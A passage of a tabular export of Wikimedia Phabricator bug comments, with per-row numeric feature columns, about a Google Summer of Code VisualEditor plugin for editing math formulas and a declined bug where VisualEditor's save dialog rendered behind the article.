This happens with Chrome on a Mac, I can't seem to edit equations at all with firefox or safari.",,,1382509541,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,16,,4.0,0.0,1.0,3.0,1.0,7.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,9.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,10.0,1.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,17.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.057971014492754,0.7681159420289855,"Also editing the last equation at URL

if you actually make a change to the text of the equation the displayed equation becomes very jumbled. Any vertical positioning is lost, and text from different lines are overlaid on top of each other.

This happens with Chrome on a Mac, I can't seem to edit equations at all with firefox or safari."
203898,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Created attachment 13550
Screenshot of editing a math block

Some small tweaks are needed to the dialog box. Editing the last equation at https://www.mediawiki.org/wiki/VisualEditor:TestMath?veaction=edit
there are a a few problems

1) The dialog obscures the actual equation
2) The dlalog is too small to see the whole source text of the equation

This could be solved the making the dialog, moveable and resizeable.

**Attached**: {F10189}",,,1382508786,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,16,,2.0,0.0,0.0,2.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,12.0,0.0,1.0,17.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,3.8214285714285716,0.6785714285714286,"Created attachment 13550
Screenshot of editing a math block

Some small tweaks are needed to the dialog box. Editing the last equation at URL
there are a a few problems

1) The dialog obscures the actual equation
2) The dlalog is too small to see the whole source text of the equation

This could be solved the making the dialog, moveable and resizeable.

**Attached**: {F10189}"
203894,Create a visual VisualEditor plugin tool to add/edit maths blocks,"If you have open tasks or bugs left, one possibility is to list them at https://www.mediawiki.org/wiki/Google_Code-In and volunteer yourself as mentor.

We have heard from Google and free software projects participating in Code-in that students participating in this programs have done a great work finishing and polishing GSoC projects, many times mentores by the former GSoC student. The key is to be able to split the pending work in little tasks.

More information in the wiki page. If you have questions you can ask there or you can contact me directly.",,,1382470549,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,16,,1.0,0.0,0.0,0.0,0.0,7.5,2.5,0.0,0.0,1.5,4.0,0.0,0.0,0.0,0.0,1.5,1.0,2.0,10.5,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,1.5,4.0,0.5,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,2.5,0.0,1.0,0.0,0.0,0.0,12.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,2.5,7.5,2.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,6.0,10.5,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.5,2.0,3.5,1.0,0.0,0.0,4.196078431372549,0.8235294117647058,"If you have open tasks or bugs left, one possibility is to list them at URL and volunteer yourself as mentor.

We have heard from Google and free software projects participating in Code-in that students participating in this programs have done a great work finishing and polishing GSoC projects, many times mentores by the former GSoC student. The key is to be able to split the pending work in little tasks.

More information in the wiki page. If you have questions you can ask there or you can contact me directly."
203889,Create a visual VisualEditor plugin tool to add/edit maths blocks,"GSoC ""soft pencils down"" date was yesterday and all coding must stop on 23 September. Has this project been completed?",,,1379434494,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,11,,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.9583333333333334,"GSoC ""soft pencils down"" date was yesterday and all coding must stop on 23 September. Has this project been completed?"
203884,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Its important that it will be possible to enter the raw latex and that the text input area is large enough to enter a large formula. Editing the formula for atan2 at https://www.mediawiki.org/wiki/VisualEditor:TestMath now give a multi line box, but its still a bit small and wraps the formula. 

It may be an idea to use a different size box for inline formula which tend to be short and display formula which tend to be larger. $ vrs $$ in latex syntax, I don't know how you would distinguish this in VE.

The need for latex input was discussed at https://www.mediawiki.org/wiki/User_talk:Jiabao_wu and came up again at http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&curid=37904286&diff=570517247&oldid=570514963",,,1377691093,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,1.0,1.0,6.0,3.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,1.0,0.0,4.0,11.5,0.0,3.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,1.5,0.0,4.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,2.5,0.0,0.0,0.5,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,1.5,1.0,5.5,4.0,6.5,2.0,3.0,8.5,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,3.5,11.5,1.0,0.0,0.0,0.0,3.5,0.0,2.5,3.0,0.0,0.5,1.0,0.0,0.0,3.623904149620105,0.7521917007597896,"Its important that it will be possible to enter the raw latex and that the text input area is large enough to enter a large formula. Editing the formula for atan2 at URL now give a multi line box, but its still a bit small and wraps the formula. 

It may be an idea to use a different size box for inline formula which tend to be short and display formula which tend to be larger. $ vrs $$ in latex syntax, I don't know how you would distinguish this in VE.

The need for latex input was discussed at URL and came up again at URL"
203879,Create a visual VisualEditor plugin tool to add/edit maths blocks,Possibly related: https://en.wikipedia.org/wiki/Wikipedia_talk:Flow#Mathematics_under_Flow,,,1376190076,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,Possibly related: URL
203876,Create a visual VisualEditor plugin tool to add/edit maths blocks,"(In reply to comment #7)
> @Richard this plugin won't be dependent on bug 36496 (MathJax as default).
> Texvc-compatible syntax remains the internal/wikitext format. MathJax
> provides
> a live-preview within VE to enable visual editing. (Of course, a future
> iteration might use MathJax to save MathML and SVG alongside the TeX.)

Have removed the dependency.

(In reply to comment #8)
> Is this connect with http://www.mediawiki.org/wiki/VisualEditor:TestMath?

Yes; that's the work being done by Jiabao Wu as part of Google Summer of Code. See https://www.mediawiki.org/wiki/User:Jiabao_wu/GSoC_2013_Project_Work for updates.",,,1373926378,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,29.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,15.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.169491525423729,0.6271186440677966,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Have removed the dependency.

(In reply to comment #8)
QUOTE

Yes; that's the work being done by Jiabao Wu as part of Google Summer of Code. See URL for updates."
203872,Create a visual VisualEditor plugin tool to add/edit maths blocks,"@Richard I don't know which VE version is running there. I think I should point out that this is a GSoC project in the middle of development, not anywhere near production ready, frequently breaking etc.",,,1373924458,,PHID-USER-nnhp4dmr6oozfejddbom,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,8.0,0.0,12.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,5.0,5.0,15.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,12.0,5.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,2.0,4.275,0.875,"SCREEN_NAME I don't know which VE version is running there. I think I should point out that this is a GSoC project in the middle of development, not anywhere near production ready, frequently breaking etc."
203867,Create a visual VisualEditor plugin tool to add/edit maths blocks,Is this connect with http://www.mediawiki.org/wiki/VisualEditor:TestMath? If so its a nice start but I'm having trouble editing a large formula for arctan2 at the bottom?,,,1373914340,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,15.0,4.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,3.769230769230769,0.9615384615384616,Is this connect with URL If so its a nice start but I'm having trouble editing a large formula for arctan2 at the bottom?
203862,Create a visual VisualEditor plugin tool to add/edit maths blocks,"@Richard this plugin won't be dependent on bug 36496 (MathJax as default). Texvc-compatible syntax remains the internal/wikitext format. MathJax provides a live-preview within VE to enable visual editing. (Of course, a future iteration might use MathJax to save MathML and SVG alongside the TeX.)",,,1373910001,,PHID-USER-nnhp4dmr6oozfejddbom,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,17.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.338983050847458,0.8305084745762712,"SCREEN_NAME this plugin won't be dependent on bug 36496 (MathJax as default). Texvc-compatible syntax remains the internal/wikitext format. MathJax provides a live-preview within VE to enable visual editing. (Of course, a future iteration might use MathJax to save MathML and SVG alongside the TeX.)"
203859,Create a visual VisualEditor plugin tool to add/edit maths blocks,"**physik** wrote:

I think a combination of MathML and MathJax would be optimal.
See https://gerrit.wikimedia.org/r/#/c/69298/",,,1373790125,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.3043478260869565,0.8695652173913043,"**physik** wrote:

I think a combination of MathML and MathJax would be optimal.
See URL"
203855,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Wondering how the rendering is going to happen? Is it going to use MathJax which is the only game in town at the moment? The default texvc render won't be up to the job as it need to recreate an image for every keystroke. MathML based renders have basically failed with poor browser support. 

If you use MathJax deployment will be a problem unless bug 36496 is fixed.",,,1373785257,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,1,,1.0,0.0,0.0,1.0,1.0,3.0,4.0,0.0,0.0,3.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,8.0,9.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,4.0,16.0,4.0,3.0,0.0,0.0,4.0,0.0,3.0,3.0,0.0,4.0,0.0,0.0,0.0,4.013333333333334,0.7866666666666666,"Wondering how the rendering is going to happen? Is it going to use MathJax which is the only game in town at the moment? The default texvc render won't be up to the job as it need to recreate an image for every keystroke. MathML based renders have basically failed with poor browser support. 

If you use MathJax deployment will be a problem unless bug 36496 is fixed."
203849,Create a visual VisualEditor plugin tool to add/edit maths blocks,"(In reply to comment #3)
> Are there any news on this?

Jiabao was accepted as a GSoC student and will be working on this with us. Updates are going to be added at [[mw:User:Jiabao wu/GSoC 2013 Project Work]].",,,1370657625,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,20.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,6.0,0.0,4.0,0.0,2.0,14.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,6.0,3.1,0.84,"(In reply to comment #3)
QUOTE

Jiabao was accepted as a GSoC student and will be working on this with us. Updates are going to be added at [[mw:User:Jiabao wu/GSoC 2013 Project Work]]."
203843,Create a visual VisualEditor plugin tool to add/edit maths blocks,Are there any news on this?,,,1370656180,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,2,False,,,-4,,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,Are there any news on this?
203836,Create a visual VisualEditor plugin tool to add/edit maths blocks,"**jiabao.foss** wrote:

(In reply to comment #1)
> This will require Parsoid to be finished and expose ParserHooks to get
> alienated, and then a VE node handler to be written. The first bit is
> relatively easy, but the second is a very significant undertaking, so
> prioritising as ""lowest"".

Hello James, I have designed and written my proposal for a plugin that will fix this bug. http://www.mediawiki.org/wiki/User:Jiabao_wu/GSoC_2013_Application

I am not yet familiar with the VE architecture so I need some help understanding it and your comments. Is my design close to what it needed for a ""node handler"" for the maths elements in a wiki page. Also currently I have two modules named doc reader and doc writer. It would be helpful to know more about how these can interact with the document in visual editor.

The design that I proposed of the User Interface for my plugin be similar to that of google docs. I am wondering if this is closer to what the community wants and needs for VisualEditor. Or if it would be better to stay closer to the existing way special characters are inserted in the traditional wikitext editor.

Thanks,
Jiabao",,,1367240312,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,1,False,,,-9,,0.5,0.0,0.0,0.5,0.5,6.0,2.5,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,4.5,0.5,3.5,12.5,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.5,1.5,0.5,5.0,1.0,2.0,2.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,2.0,0.5,0.5,0.0,12.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,5.5,4.0,13.0,2.0,2.5,8.5,0.0,0.0,0.0,0.5,4.0,0.0,1.0,0.0,7.0,12.5,7.5,0.0,1.0,0.0,7.0,0.0,2.5,1.5,0.0,1.5,2.0,0.0,0.0,3.846774193548387,0.7165980324868451,"**jiabao.foss** wrote:

(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

Hello James, I have designed and written my proposal for a plugin that will fix this bug. URL

I am not yet familiar with the VE architecture so I need some help understanding it and your comments. Is my design close to what it needed for a ""node handler"" for the maths elements in a wiki page. Also currently I have two modules named doc reader and doc writer. It would be helpful to know more about how these can interact with the document in visual editor.

The design that I proposed of the User Interface for my plugin be similar to that of google docs. I am wondering if this is closer to what the community wants and needs for VisualEditor. Or if it would be better to stay closer to the existing way special characters are inserted in the traditional wikitext editor.

Thanks,
Jiabao"
203829,Create a visual VisualEditor plugin tool to add/edit maths blocks,"This will require Parsoid to be finished and expose ParserHooks to get alienated, and then a VE node handler to be written. The first bit is relatively easy, but the second is a very significant undertaking, so prioritising as ""lowest"".",,,1355432140,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,2.0,4.0,0.0,11.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,11.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,4.191489361702128,0.7872340425531915,"This will require Parsoid to be finished and expose ParserHooks to get alienated, and then a VE node handler to be written. The first bit is relatively easy, but the second is a very significant undertaking, so prioritising as ""lowest""."
45054,VisualEditor: Review window behind article,"**Author:** `jnichols`

**Description:**
I can only see the very top few lines of the review-and-save window, the notices window, and the edit summary window. The rest of them seem to be behind the article window. I can scroll down the review window, looking at it three lines at a time in the little area between the top of the article and the tabs. The notices window and the edit summary windows don't scroll, which means I can't get down to the final ""save"" button.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1355378580,1366174654.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-63cm7igyhb5qdw236lct,task_description,declined,True,c1,1,False,False,True,-29,,0.5,0.0,0.5,0.0,1.5,3.5,0.5,0.0,0.0,0.0,1.0,1.5,0.0,0.5,0.0,2.0,0.0,2.5,7.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,2.0,2.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,9.5,0.5,6.0,0.0,2.5,10.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,3.0,7.5,1.0,0.0,1.5,0.0,3.0,0.0,1.0,1.0,0.5,0.5,0.0,0.0,0.0,3.5390625,0.671875,"**Author:** CODE

**Description:**
I can only see the very top few lines of the review-and-save window, the notices window, and the edit summary window. The rest of them seem to be behind the article window. I can scroll down the review window, looking at it three lines at a time in the little area between the top of the article and the tabs. The notices window and the edit summary windows don't scroll, which means I can't get down to the final ""save"" button.

--------------------------
**Version**: unspecified
**Severity**: minor"
203634,VisualEditor: Review window behind article,"sorry for the criticism, and WORKSFORME is better, of course!",,,1366181978,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-63cm7igyhb5qdw236lct,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.9230769230769231,"sorry for the criticism, and WORKSFORME is better, of course!"
203628,VisualEditor: Review window behind article,"Sorry for the lack of response; I reviewed this bug quite a few times in the months since it was reported, and each time was unable to reproduce (but quite clearly this was a repeatable bug, given the screenshot and two independent reports).

This was not a 'blocker' in the sense that we use it, though obviously for a (seemingly very small) number of installations/situations it was a serious bug.

Glad to hear that it works for you now; unfortunately, as we don't know what the root cause was, we can't proove that it's not going to re-occur. Thus I feel it would be inappropriate to assign it as ""FIXED"", so I will instead mark as ""WORKSFORME"".",,,1366178124,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-63cm7igyhb5qdw236lct,task_subcomment,,True,c1,1,True,,,-11,,1.0,0.0,0.5,0.5,2.5,4.0,3.0,0.0,0.5,0.0,4.5,2.5,0.0,0.0,0.0,3.5,0.0,7.5,12.0,0.0,2.5,0.0,0.5,0.0,4.0,0.0,0.0,0.0,0.0,1.5,0.0,3.0,2.5,4.5,1.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,1.5,0.0,1.0,0.5,0.0,1.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.5,5.5,4.0,5.5,3.0,2.0,8.0,0.0,0.0,0.0,0.0,6.5,0.5,0.5,0.0,9.0,12.0,2.0,0.0,3.5,0.0,9.0,0.0,0.5,2.5,0.0,0.5,0.0,0.0,0.0,3.614864864864865,0.722972972972973,"Sorry for the lack of response; I reviewed this bug quite a few times in the months since it was reported, and each time was unable to reproduce (but quite clearly this was a repeatable bug, given the screenshot and two independent reports).

This was not a 'blocker' in the sense that we use it, though obviously for a (seemingly very small) number of installations/situations it was a serious bug.

Glad to hear that it works for you now; unfortunately, as we don't know what the root cause was, we can't proove that it's not going to re-occur. Thus I feel it would be inappropriate to assign it as ""FIXED"", so I will instead mark as ""WORKSFORME""."
203622,VisualEditor: Review window behind article,"It is possible that the bug has been resolved, I had reported it, but cannot reproduce it. Closing as ""probably fixed"".

A minor criticism on bug management: at the time when Jeffery and I reported this, it was a totally debilitating bug, a blocker. Simply not investigating the bug 4 months, seemingly never testing it, but then reducing the severity to ""minor"" seems odd.",,,1366174654,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-63cm7igyhb5qdw236lct,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,1.0,1.0,2.0,5.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,6.0,2.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,9.0,4.0,9.0,2.0,4.0,10.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,9.0,6.0,1.0,0.0,5.0,0.0,9.0,0.0,1.0,4.0,0.0,6.0,0.0,0.0,0.0,3.8395061728395063,0.6790123456790124,"It is possible that the bug has been resolved, I had reported it, but cannot reproduce it. Closing as ""probably fixed"".

A minor criticism on bug management: at the time when Jeffery and I reported this, it was a totally debilitating bug, a blocker. Simply not investigating the bug 4 months, seemingly never testing it, but then reducing the severity to ""minor"" seems odd."
